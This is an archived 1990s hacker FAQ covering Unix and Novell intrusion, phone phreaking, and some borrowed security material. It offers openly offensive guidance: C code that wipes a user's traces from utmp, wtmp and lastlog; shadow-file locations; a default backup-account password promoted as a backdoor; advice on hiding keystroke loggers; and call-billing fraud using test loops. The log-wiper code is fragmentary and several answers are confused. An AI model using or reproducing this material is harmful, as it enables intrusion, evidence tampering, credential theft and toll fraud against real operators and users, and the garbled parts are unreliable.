TUCoPS :: General Information :: chapter6.txt

The Psychotics' Hacking FAQ

Psychotic FAQ
Version 2.0

* What is hacking?
* How do I crack shadowed passwords?
* How can I tell the difference between an encrypted password and a shadowed password?
* Where can I find the password file if it's shadowed?
* Where is the password file located?
* What is an exploit?
* What are some basic telnet commands?
* How do I get out of the log file?
* What is a DNIC?
* What is an NUA?
* What is a VAX/VMS?
* What is telnet?
* What is an anonymous remailer?
* What is PGP?
* What is a tcp/ip?
* What is a virus?
* What is a trojan?
* What is a worm?
* What do I need to become a hacker?
* What are some common accounts for Novell Netware?
* How can I gain supervisor access to Novell Netware?
* How do I access the passwords for Novell?
* How do I crack a Novell Netware password?
* What are the domain codes?
* What is phreaking?
* How do I start phreaking?
* What are boxes?
* What kind of boxes are there?
* How do I make a box?
* What is a loop?
III. 	Security
* How do I set up an anonymous FTP server?
* What are some ways that I can secure a network?
* What is a "rainbow book?"
* What is a sniffer?
* What is a firewall?
* How can I use PGP to benefit me?
IV. 	Group Questions
* What is Psychotic?
* Is Psychotic looking for new members?
* What is Psychosis?
* Where can I find some good resources on hacking and phreaking?
* Who are all the members in Psychotic?
* What is the Psychotic Tech Lab?
* What are Psychotic's offered services?

Q. What is hacking?

A. Hacking is the art of breaking into computers to gain knowledge that our
society has hidden from us. Hacking is illegal and the government spend lots
of money each year to have hackers arrested.....when they should be spending
the money on more important issues.

Q. What is a shadowed password?

A. A shadowed password is a cover for the real password file. It shows that
the real password is hidden somewhere else.

Q. How do I crack shadowed passwords?

A. Cracking a shadowed password file is impossible. Assuming that you got
the password file via anonymous ftp. You should try connecting to port 25
and doing the sendmail bug.

Q. What is the difference between an encrypted password and a shadowed

A. An encrypted password is just the real password scrambled and changed.
It can be cracked with a password cracked and a word file. A shadowed
password hides the encrypted password somewhere else other than the etc.

Q. 	Where can I find the password file if it's shadowed?

A. Unix                  Path                            Token
AIX 3                 /etc/security/passwd            !
          or             /tcb/auth/files//
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files//
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *

Q. Where is the password file located?

A. The password file is located in the etc/passwd dir. You can get into the
etc dir by logging on to the domain via anonymous ftp.

Q. What is an exploit?

A. An exploit is something that exploits unix or another kind of OS. You
usually use exploits to gain root or high access to a system. They can prove
to be very handy.

Q. What are some basic telnet commands?

A. Below is a list of common telnet commands.

Command                                                          Function

access						Telnet account
c						Connect to a host
cont						Continue
d						Disconnect
full						Network echo
half						Terminal echo
hangup						Hangs up
mail						Mail
set						Select PAD parameters
stat						Show network port.
telemail						Mail

Q. 	How do I get out of the log file?

A. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
    struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                          write (f, &utmp_ent, sizeof (utmp_ent));
void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
        while(pos != -1L) {
           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
           } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                        bzero((char *)&utmp_ent,sizeof(struct utmp ));
                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                        write (f, &utmp_ent, sizeof (utmp_ent));
                        pos = -1L;
                } else pos += 1L;
void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;
        if ((pwd=getpwnam(who))!=NULL) {
           if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  write(f, (char *)&newll, sizeof( newll ));
    } else printf("%s: ?\n",who);
int argc;
char *argv[];
    if (argc==2) {
    } else

Q. What is DNIC?

A. A DNIS says which network connect to the telnet you are using.

Q. What is NUA?

A. 	The NUA is the address of the computer on telnet.

Q. 	What is a VAX/VMS?

A. 	A vax/vms is Digital Equipment's major computer line. It's
proprietary operating system is known as vms.

Q. 	What is telnet?

A. Telnet is a program which lets you log in to other computers on the net.

Q. 	What is an anonymous remailer?

A. An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously. You apply
for an anonymous ID at the remailer site. Then, when you send a message to
the remailer, it sends it out from your anonymous ID at the remailer. No one
reading the post will know your real account name or host name. If someone
sends a message to your anonymous ID, it will be forwarded to your real
account by the remailer.

Q. 	What is PGP?

A. This FAQ answer is excerpted from:
PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure channels
needed for prior exchange of keys. PGP is well featured and fast, with
sophisticated key management, digital signatures, data compression, and good
ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high
security cryptographic software application for MS-DOS, Unix, VAX/VMS, and
other computers. PGP allows people toexchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomicdesign, and sophisticated key management. And PGP performs the public-key
functions faster than most other software implementations. PGP is public
key cryptography for the masses.

Q. 	What is tcp/ip?

A. Tcp/ip is the system networks use to communicate with each other. It
stands for Transmission Control Protocol/Internet Protocol.

Q. What is a virus?

A. 	A Virus is a program which reproduces itself. It may attach itself
to other programs, it may create copies of itself. It may damage or corrupt
data, change data, or degrade the performance of your system by utilizing
resources such as memory or disk space. Some Viruse scanners detect some
Viruses. No Virus scanners detect all Viruses. Virus scanners will work
for a while but people are always creating virii that will beat them.

Q. 	What is a trojan?

A. 	A trojan is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than it claims to do,
usually something malicious, and it is intended by the author to do whatever
it does. If it is not intentional, it is called a bug.

Q. 	What is a worm?

A. 	Worms are programsthat copy themselves over and over using up space
and slowing down the system. They are self contained and use the networks
to spread, in much the same way that Viruses use files to spread. Some
people say the solution to Viruses and worms is to just not have any files
or networks.

Q. 	What do I need to become a hacker?

A. 	You should start off with a good scanner, some dialups, a telnet
client, and some knowladge of hacking. Those are the basic things that you
will need. If you are serious about hacking then you should get Unix, or
Linux(smaller, free version of unix).

Q. 	What are some common accounts for Novell Netware?

A.   Below is a list of commonly used accounts for Novell Netware.
       Account         Purpose
        ----------      ------------------------------------------------------
        PRINT           Attaching to a second server for printing
        LASER           Attaching to a second server for printing
        HPLASER         Attaching to a second server for printing
        PRINTER         Attaching to a second server for printing
        LASERWRITER     Attaching to a second server for printing
        POST            Attaching to a second server for email
        MAIL            Attaching to a second server for email
        GATEWAY         Attaching a gateway machine to the server
        GATE            Attaching a gateway machine to the server
        ROUTER          Attaching an email router to the server
        BACKUP          May have password/station restrictions (see below),used
                        for backing up the server to a tape unit attached to a
                        workstation. For complete backups, Supervisor equivalence
                        is required.
        WANGTEK         See BACKUP
        FAX             Attaching a dedicated fax modem unit to the network
        FAXUSER         Attaching a dedicated fax modem unit to the network
        FAXWORKS        Attaching a dedicated fax modem unit to the network
        TEST            A test user account for temp use
        ARCHIVIST       Palidrome default account for backup
        CHEY_ARCHSVR    An account for Arcserve to login to the server from    
                        from the console for tape backup. Version 5.01g's
                        password was WONDERLAND. Delete the Station
                        Restrictions and use SUPER.EXE to toggle this 
                        account and you have an excellent backdoor.
        WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
                        Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
                        need this for resource sharing without a password.

Q. 	How can I gain supervisor access to Novell Netware?

A. Taken from the Novell Netware FAQ.
The secret method is the method of using a DOS-based sector editor to edit the
entry in the FAT, and reset the bindery to default upon server reboot. This gives
you Supervisor and Guest with no passwords. The method was taught in case you 
lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
created. It also saves the server from a wipe and reboot in case the
Supervisor account is corrupt, deleted, or trashed.

Q. 	How do I access the password file for Novell?

A. access to the password file in Netware is not like Unix - the password
file isn't in the open. All objects and their properties are kept in the
bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An
example of an object might be a printer, a group, an individual's account
etc. An example of an object's properties might include an account's
password or full user name, or a group's member list or full name. The
bindery files attributes (or flags) in 2.x and 3.x are Hidden and System,
and these files are located on the SYS: volume in the SYSTEM subdirectory.
Their names are as follows:

        Netware version         File Names
        ---------------         ----------
        2.x                     NET$BIND.SYS, NET$BVAL.SYS
        3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
in 2.x and 3.x respectively.

Q. 	How do I crack a Novell password?

A. 	Taken from the Novell Netware Hack FAQ.

If Intruder Detection is off, you can use a "brute force" password cracker.

Encrypted passwords is Novell's way of protecting passwords from sniffers.
Since older versions of Netware (2.15c) sent passwords as plain text over the
wire, a sniffer could see the password as it went by. To secure things,
Novell gave the administrator a way to control this. Later versions of the
LOGIN.EXE program would encrypt the password before transmitting it across
the wire to the server. But before this could happen, the shell (NETX) had
to be updated. Since some locations had to have older shells and older
versions of LOGIN.EXE to support older equipment, the administrator has the
option of allowing unencrypted passwords to access the server. This is done
by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
the server console every attempt! Fortunately most sites turn this switch on
to support some old device.

If you have access to the console, either by standing in front of it or by
passwords. Just load the NLM and pass it command line parameters:

        NLM             Account(s) reset        Netware version(s) supported
        ------------    -----------------       ----------------------------
        SETSPASS.NLM    SUPERVISOR              3.x
        SETSPWD.NLM     SUPERVISOR              3.x, 4.x
        SETPWD.NLM      any valid account       3.x, 4.x

If you can plant a password catcher or keystroke reader, you can get them
this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
normally you will not have access to put a file in that directory. The best
place to put a keystroke capture program is in the workstation's path, with
the ATTRIB set as hidden. The advantage is that you'll get the password and
Netware won't know you swiped it. The disadvantage is getting access to the
machine to do this. The very best place to put one of these capture programs
is on a common machine, like a pcAnywhere box, which is used for remote access.
Many locations will allow pcAnywhere access to a machine with virtually no 
software on it, and control security access to the LAN by using Netware's 
security features. Uploading a keystroke capture program to a machine like 
this defeats this.

Q. 	What are the domain codes?

A. Below is the current list of domain codes.
AD   Andorra
AE   United Arab Emirates
AF   Afghanistan
AG   Antigua and Barbuda
AI   Anguilla
AL   Albania
AM   Armenia
AN   Netherland Antilles
AO   Angola
AQ   Antarctica
AR   Argentina
AS   American Samoa
AT   Austria
AU   Australia
AW   Aruba
AZ   Azerbaidjan
BA   Bosnia-Herzegovina
BB   Barbados
BD   Banglades
BE   Belgium
BF   Burkina Faso
BG   Bulgaria
BH   Bahrain
BI   Burundi
BJ   Benin
BM   Bermuda
BN   Brunei Darussalam
BO   Bolivia
BR   Brazil
BS   Bahamas
BT   Buthan
BV   Bouvet Island
BW   Botswana
BY   Belarus
BZ   Belize
CA   Canada
CC   Cocos (Keeling) Islands
CF   Central African Republic
CG   Congo
CH   Switzerland
CI   Ivory Coast
CK   Cook Islands
CL   Chile
CM   Cameroon
CN   China
CO   Colombia
CR   Costa Rica
CS   Czechoslovakia
CU   Cuba
CV   Cape Verde
CX   Christmas Island
CY   Cyprus
CZ   Czech Republic
DE   Germany
DJ   Djibouti
DK   Denmark
DM   Dominica
DO   Dominican Republic
DZ   Algeria
EC   Ecuador
EE   Estonia
EG   Egypt
EH   Western Sahara
ES   Spain
ET   Ethiopia
FI   Finland
FJ   Fiji
FK   Falkland Islands (Malvinas)
FM   Micronesia
FO   Faroe Islands
FR   France
FX   France (European Territory)
GA   Gabon
GB   Great Britain (UK)
GD   Grenada
GE   Georgia
GH   Ghana
GI   Gibraltar
GL   Greenland
GP   Guadeloupe (French)
GQ   Equatorial Guinea
GF   Guyana (French)
GM   Gambia
GN   Guinea
GR   Greece
GT   Guatemala
GU   Guam (US)
GW   Guinea Bissau
GY   Guyana
HK   Hong Kong
HM   Heard and McDonald Islands
HN   Honduras
HR   Croatia
HT   Haiti
HU   Hungary
ID   Indonesia
IE   Ireland
IL   Israel
IN   India
IO   British Indian Ocean Territory
IQ   Iraq
IR   Iran
IS   Iceland
IT   Italy
JM   Jamaica
JO   Jordan
JP   Japan
KE   Kenya
KG   Kirgistan
KH   Cambodia
KI   Kiribati
KM   Comoros
KN   Saint Kitts Nevis Anguilla
KP   North Korea
KR   South Korea
KW   Kuwait
KY   Cayman Islands
KZ   Kazachstan
LA   Laos
LB   Lebanon
LC   Saint Lucia
LI   Liechtenstein
LK   Sri Lanka
LR   Liberia
LS   Lesotho
LT   Lithuania
LU   Luxembourg
LV   Latvia
LY   Libya
MA   Morocco
MC   Monaco
MD   Moldavia
MG   Madagascar
MH   Marshall Islands
ML   Mali
MM   Myanmar
MN   Mongolia
MO   Macau
MP   Northern Mariana Islands
MQ   Martinique (French)
MR   Mauritania
MS   Montserrat
MT   Malta
MU   Mauritius
MV   Maldives
MW   Malawi
MX   Mexico
MY   Malaysia
MZ   Mozambique
NA   Namibia
NC   New Caledonia (French)
NE   Niger
NF   Norfolk Island
NG   Nigeria
NI   Nicaragua
NL   Netherlands
NO   Norway
NP   Nepal
NR   Nauru
NT   Neutral Zone
NU   Niue
NZ   New Zealand
OM   Oman
PA   Panama
PE   Peru
PF   Polynesia (French)
PG   Papua New
PH   Philippines
PK   Pakistan
PL   Poland
PM   Saint Pierre and Miquelon
PN   Pitcairn
PT   Portugal
PR   Puerto Rico (US)
PW   Palau
PY   Paraguay
QA   Qatar
RE   Reunion (French)
RO   Romania
RU   Russian Federation
RW   Rwanda
SA   Saudi Arabia
SB   Solomon Islands
SC   Seychelles
SD   Sudan
SE   Sweden
SG   Singapore
SH   Saint Helena
SI   Slovenia
SJ   Svalbard and Jan Mayen Islands
SK   Slovak Republic
SL   Sierra Leone
SM   San Marino
SN   Senegal
SO   Somalia
SR   Suriname
ST   Saint Tome and Principe
SU   Soviet Union
SV   El Salvador
SY   Syria
SZ   Swaziland
TC   Turks and Caicos Islands
TD   Chad
TF   French Southern Territory
TG   Togo
TH   Thailand
TJ   Tadjikistan
TK   Tokelau
TM   Turkmenistan
TN   Tunisia
TO   Tonga
TP   East Timor
TR   Turkey
TT   Trinidad and Tobago
TV   Tuvalu
TW   Taiwan
TZ   Tanzania
UA   Ukraine
UG   Uganda
UK   United Kingdom
UM   US Minor Outlying Islands
US   United States
UY   Uruguay
UZ   Uzbekistan
VA   Vatican City State
VC   Saint Vincent and Grenadines
VE   Venezuela
VG   Virgin Islands (British)
VI   Virgin Islands (US)
VN   Vietnam
VU   Vanuatu
WF   Wallis and Futuna Islands
WS   Samoa
YE   Yemen
YU   Yugoslavia
ZA   South Africa
ZM   Zambia
ZR   Zaire
ZW   Zimbabwe
ARPA   Old style Arpanet
COM   US Commercial
EDU   US Educational
GOV   US Government
INT   International
MIL   US Military
NATO   Nato field
NET   Network
ORG   Non-Profit

Q. 	What is phreaking?

A. Phreaking is anything illegal that has to do with phones and phone lines.

Q. 	How do I start phreaking?

A. You should start by learning about boxes and reading up on different
types of phreaking.

Q. What kind of boxes are there?

A.Below is a list of the most common boxes and what they do.

Acrylic Box - Steal Three-Way-Calling and Call Waiting. 
Aero Box - Make free fone calls from Payfones. 
Aqua Box - Drain voltage from a FBI Lock In Trace call. 
Beige Box - Replicates a line mens hand-set. 
Black Box - Allows the calling party not to get charged for the call they place.
Blast Box - Fone Microphone Amplifier. 
Blotto Box - Shorts every fone out in the area. 
Blue Box - Utilizing 2600Hz tones for free fone calls. 
Brown Box - Creates a party line from 2 existing fone lines. 
Bud Box - Used to tap into your neighbors fone line. 
Busy Box - Used to kill the dial tone on someone's fone. 
Chartreuse Box - Use the electricty from your phone for other things. 
Cheese Box - Turns your fone into a Payfone. 
Chrome Box - Lets you manipulate traffic signals via remote control. 
Clear Box - Used to make free calls on Fortress Fones. 
Copper Box - Causes cross-talk interference on an extender. 
Crimson Box - Acts as a 'Hold' button for your fone. 
Dark Box - REroutes outgoing or incomming calls to another fone. 
Dayglo Box - Allows you to connect to your neighbors fone line. 
Ditto Box - Allows you to evesdrop on another fone line. 
Divertor Box - REroutes outgoing or incomming calls to another fone. 
DLOC Box - Lets you confrence 2 fone lines (other than your own). 
Gold Box - Allows you to trace a call or tell if its being traced. 
Green Box - Lets you make the Coin Collect, Coin Return, and Ringback tones. 
Jack Box - A touch-tone keypad. 
Light Box - An AM Transmitter. 
Lunch Box - Used to tap into your neighbors fone line. 
Magenta Box - Connects one remote fone line to another remote fone line. 
Mauve Box - Lets you fone tap without cutting into the fone line. 
Neon Box - An external microphone. 
New Gold Box - A new updated version of the Gold Box. 
Noise Box - Creates line noise. 
Olive Box - Used as an external ringer. 
Paisley Box - A combination of almost all the boxes there are. 
Pandora Box - Creates a high intensity tone which can cause pain. Good for pranking. 
Party Box - Lets you make a party line from 2 fone lines. 
Pearl Box - A tone generator. 
Pink Box - Lets you hook 2 seprate fone lines together and have 3 way calling. 
Purple Box - A fone hold button. 
Rainbow Box - Kills a trace by putting 120v into the fone line. 
BoRed x - Lets you make free calls from a payfone by producing the coins tones. 
Rock Box - Adds music to your fone line. 
Scarlet Box - Silver Box - Adds DTMF A, B, C, & D priority tones to your line. 
Slush Box - Can be installed at places of business that have standard multi-line fones. 
Static Box - Keep voltage on a fone line high. 
Switch Box - Adds hold, indicator lights, confrence, etc. 
Tan Box - Line activated telefone recorder. 
Tron Box - Reverse the phase of power to your house, and make your meter run slower.
Urine Box - Makes a disturbance between the ring and tip wires in someones fone. 
Violet Box - Keeps a payfone from hanging up. 
White Box - A portable DTMF keypad. 
Yellow Box - Add an extention fone.

Q. 	How do I make a box?

A. 	Each box has a sepperate plan to set it up. Just do a netsearch for
phreaking or boxes and you can find all the plans you need.

Q. 	What is a loop?

A. This FAQ answer is excerpted from:
ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 
836-9999. They are used by the phone company for testing. What good do 
loops do us? Well, they are cool in a few ways. Here is a simple use of 
loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives
a (usually) constant, loud tone when it is called. The other end is silent.
Loops don't usually ring either. When BOTH ends are called, the people that 
called each end can talk through the loop.  Some loops are voice filtered 
and won't pass anything but a constant tone; these aren't much use to you. 
Here's what you can use working loops for: billing phone calls! First, call 
the end that gives the loud tone. Then if the operator or someone calls the 
other end, the tone will go quiet. Act like the phone just rang and you 
answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. 
The operator thinks that she just called you, and that's it! Now the phone 
bill will go to the loop, and your local RBOC will get the bill! Use this 
technique in moderation, or the loop may go down. Loops are probably most 
useful when you want to talk to someone to whom you don't want to give your 
phone number.

Q. 	How do I set up an anonymous FTP?

A. Taken from the Internet Security Systems, Inc. text on setting up an anonymous ftp.
- 1.Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it's owned by root. 
     - 2.Build a statically linked version of /bin/ls if you'll need one. Put it in ~ftp/bin. 
     If you are on a Sun, and need to build one, there's a ported version of
     the BSD net2 ls command for SunOs
     on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it's owned by root. 
     - 3.Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT 
    -  4.Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT
     make 'ftp's home directory '/' -- make sure they are owned by root. 
    -  5.Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look
     something like: (assuming ~ftp = /var/ftp) 


     if(chdir("/var/ftp")) {

             perror("chdir /var/ftp");



     if(chroot("/var/ftp")) {

             perror("chroot /var/ftp");



     /* optional: seteuid(FTPUID); */

     execl("/bin/ftpd","ftpd","-l",(char *)0);

     perror("exec /bin/ftpd");


     You can use 'netacl' from the toolkit or tcp_wrappers to achieve the same effect. 
     We use 'netacl' to switch so that a few machines that connect to the FTP service *don't* get
     chrooted first. This makes transferring files a bit less painful. 
     You may also wish to take your ftpd sources and find all the places where it calls seteuid()
     and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means
     that if someone knows a hole that makes them "root" they still won't be. Relax and imagine
     how frustrated they will be. 
     If you're hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by
     unsetting the "implemented" flag in ftpcmd.y. This is only practical if your FTP area is
-   6.As usual, make a pass through the FTP area and make sure that the files are in correct modes
     and that there's nothing else in there that can be executed. 
-   7.Note, now, that your FTP area's /etc/passwd is totally separated from your real /etc/passwd.
     This has advantages and disadvantages. 
-    8.Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd
     with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code,
     that maintains a unix-domain socket named ~ftp/dev/log with the -p flag.

Q. 	What are some ways I can secure a network?

A. 	Taken from the Internet Security Systems text on securing a network.
1. Well first of all you should know what type of resources that you're
     trying to protect: CPU, files, storage devices phone lines, etc... 
 2. Determine the host-specific security measures needed. Password
     protection, file encryption, firewall, etc...
     Determine who the computer systems must be defended. 
     Determine the likelihood of a threat. 
     Implement measures to protect network resource. 

3. Consider the corporate budget when planning for Internet Security.

4. Design a Security Policy that describes your organization's network
security concerns. This policy should take into account the following:

     Network Security Planning 
     Site Security Policy 
     Risk Analysis 
     Risk analysis involves determining the following:
          What you need to protect 
          What you need to protect it from 
          How to protect it 
          Estimating the risk of losing the resource 
          Estimating the importance of the resource 

5. Consider the following factors to determine who will grant access to
services on your networks:
     Will access to services be granted from a central point? 
     What methods will you use to create accounts and terminate access? 

6. Design and Implement Packet Filter Rules

7. Ensure your Firewall has the following properties:
     All traffic from inside to outside, as well as outside to inside must
     pass through the firewall. 
     Allow only authorized traffic as defined by your corporate security
     policy be passed through the firewall. 
     Ensure the firewall is immune to penetration. 

8. Educate users about password protection:
     Educating users not to use passwords that are easy to guess. 
     Ensuring the password lengths are adequate. 
     Running a password guesser. 
     Requiring the use of a password generator. 
     Always using a mixture of upper- and lowercase characters. 
     Always using at least one or two non-alphanumeric characters. 
     Never using dictionary words or ones spelled backwards. 
     Never using a portion or variation of a proper name, address or anything that
     could obviously identify you (the user). 

9. Security-related organizations play an integral role in the development
and deployment of Internet technologies. Keep abreast of the latest in
security-related activities by visiting their Web sites. Here are some key
security-rated organizations which aid corporations such as yours in keeping
the Internet a safer place to compute:
     ACM/SIGSAC at gopher://gopher.acm.org/.
     CERT (a 24-hour Computer Emergency Response Team) at:
     ftp://info.cert.org/pub/cert_faq and
     CIAC (U.S. Department of Energy's Computer Incident Advisory
     Capability) at: http://ciac.llnl.gov/
     CPSR (Computer Professionals for Social Responsibility) at:
     EFF (Electronic Frontier Foundation) at: http://www.eff.org/
     EPIC (Electronic Privacy Information Center) at: http:/epic.org/
     FIRST (Forum of Incident Reponse and Security Teams) at:
     Internet Society at http://www.isoc.org/

Q. 	What is a "rainbow book?"

A. 	Rainbow Books are books on security. The current book listing is
listed below.  Some of these can be downloaded at www.ncsc.radium.mil.

Orange Book- Department of Defense Trusted Computer System Evaluation Criteria.
Green Book- Department of Defense Password Management Guideline.
Yellow Book- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.
Tan Book- A Guide to Understanding Audit in Trusted Systems.
Bright Blue Book- A Guide for Vendors.
Neon Orange Book- A Guide to Understanding Discretionary Access Control in Trusted Systems.
Teal Green Book-  Glossary of Computer Security Terms.
Red Book- Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria.
Burgandy Book- A Guide to Understanding Design Documentation in Trusted Systems.
Dark Lavender Book- A Guide to Understanding Trusted Distribution in Trusted Systems.
Venice Blue Book- Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria.
Aqua Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Security Modeling in Trusted Systems.
Dark Red Book- Guidance for Applying the Trusted Network Interpretation.
Pink Book- Department of Defense Trusted Computer System Evaluation Criteria Rating Maintenance Phase.
Purple Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Formal Verification Systems.
Brown Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Trusted Facility Management.
Yellow-Green Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Writing Trusted Facility Manuals.
Light Blue Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Identification and Authentication in Trusted Systems.
Blue Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Product Evaluation Questionnaire.
Grey Book-Department of Defense Trusted Computer System Evaluation Criteria Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System.
Lavender Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria.
Bright Orange Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understandng Security Testing and Test Documentation in Trusted Systems.
Hot Peach Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Writing the Security Features User's Guide for Trusted Systems.
Turquoise Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems.
Violet Book- Department of Defense Trusted Computer System Evaluation Criteria Assessing Controlled Access Protection.
Light Pink Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Covert Channel Analysis of Trusted Systems.
C1 Technical Report-001- Department of Defense Trusted Computer System Evaluation Criteria Computer Viruses: Prevention, Detection, and Treatment.
C Technical Report 79-91- Department of Defense Trusted Computer System Evaluation Criteria Integrity in Automated Information Systems.
C Technical Report 39-92-  Department of Defense Trusted Computer System Evaluation Criteria The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the Composition Discussion.
NTISSAM COMPUSEC/1-87- Department of Defense Trusted Computer System Evaluation Criteria Advisory Memorandum on Office Automation Security Guideline.

Q. 	What is a firewall?

A. A firewall is a system or group of systems that enforces an access control policy between two networks. The 
actual means by which this is accomplished varies widely, but in principle, 
the firewall can be thought of as a pair of mechanisms: one which exists to 
block traffic, and the other which exists to permit traffic. Some firewalls 
place a greater emphasis on blocking traffic, while others emphasize 
permitting traffic. Probably the most important thing to recognize about a 
firewall is that it implements an access control policy. If you don't have 
a good idea what kind of access you want to permit or deny, or you simply 
permit someone or some product to configure a firewall based on what they 
or it think it should do, then they are making policy for your organization 
as a whole.

Q. 	How can I use PGP to benefit me?

A. PGP is easy to use, it does give you enough rope so that you can hang
yourself. You should become thoroughly familiar with the various options in
PGP before using it to send serious messages. For example, giving the
command pgp -sat <filename> will only sign a message, it will not encrypt it.
Even though the output looks like it is encrypted, it really isn't. Anybody
in the world would be able to recover the original text.

Q. 	What is a sniffer?

A. 	Taken from the Sniffer FAQ.
Unlike telephone circuits, computer networks are shared communication
channels. It is simply too expensive to dedicate local loops to the switch
(hub) for each pair of communicating computers. Sharing means that
computers can receive information that was intended for other machines.
To capture the information going over the network is called sniffing.

The most popular way of connecting computers is through ethernet.
Ethernet protocol works by sending packet information to all the
hosts on the same circuit. The packet header contains the proper
address of the destination machine. Only the machine with the matching
address is suppose to accept the packet. A machine that is accepting all
packets, no matter what the packet header says, is said to be in
promiscuous mode.

Because, in a normal networking environment, account and password information is passed along
ethernet in clear-text, it is not hard for an intruder once they obtain
root to put a machine into promiscuous mode and by sniffing, compromise all
the machines on the net.

Q. 	What is Psychotic?

A. I would describe Psychotic as more of a proffessional group rather than
just a hacking clan. We think about money first and hacking second, even
though I'm sure that most of you have seen a few of our hacking projects...

Q. 	Is psychotic looking for new members?

A. Well as of now we aren't looking for any additions to our staff.

Q. 	What is Psychosis?

A. Psychosis is a personal project taken up by Virtual Circuit. It's an
award that he gives out to hackers that have done something to stand out
(good webpage, revealed exploits, etc.). If you think that you should
receive the award you can mail him about it.  But I can tell you now that
the award isn't easy to get.

Q. 	Where can I find some good resources on hacking and phreaking?

A. 	Well we aren't much for links but you should check the Psychosis
page for his webpage award winners. He picks only the best.

Q. 	Who are all the members in Psychotic?

A.      Most of us would like to stay anonymous.  But you will see a members
name every now and then.

Q.      What is the Psychotic Tech Lab?

A.      Since Psychotics break up in April we were short on releasing our
zine so the new and improved Psychotic has added a few issues to the old
zine and now its out in the public.  You can find it on many sites.

Q. 	What are Psychotic's offered services?

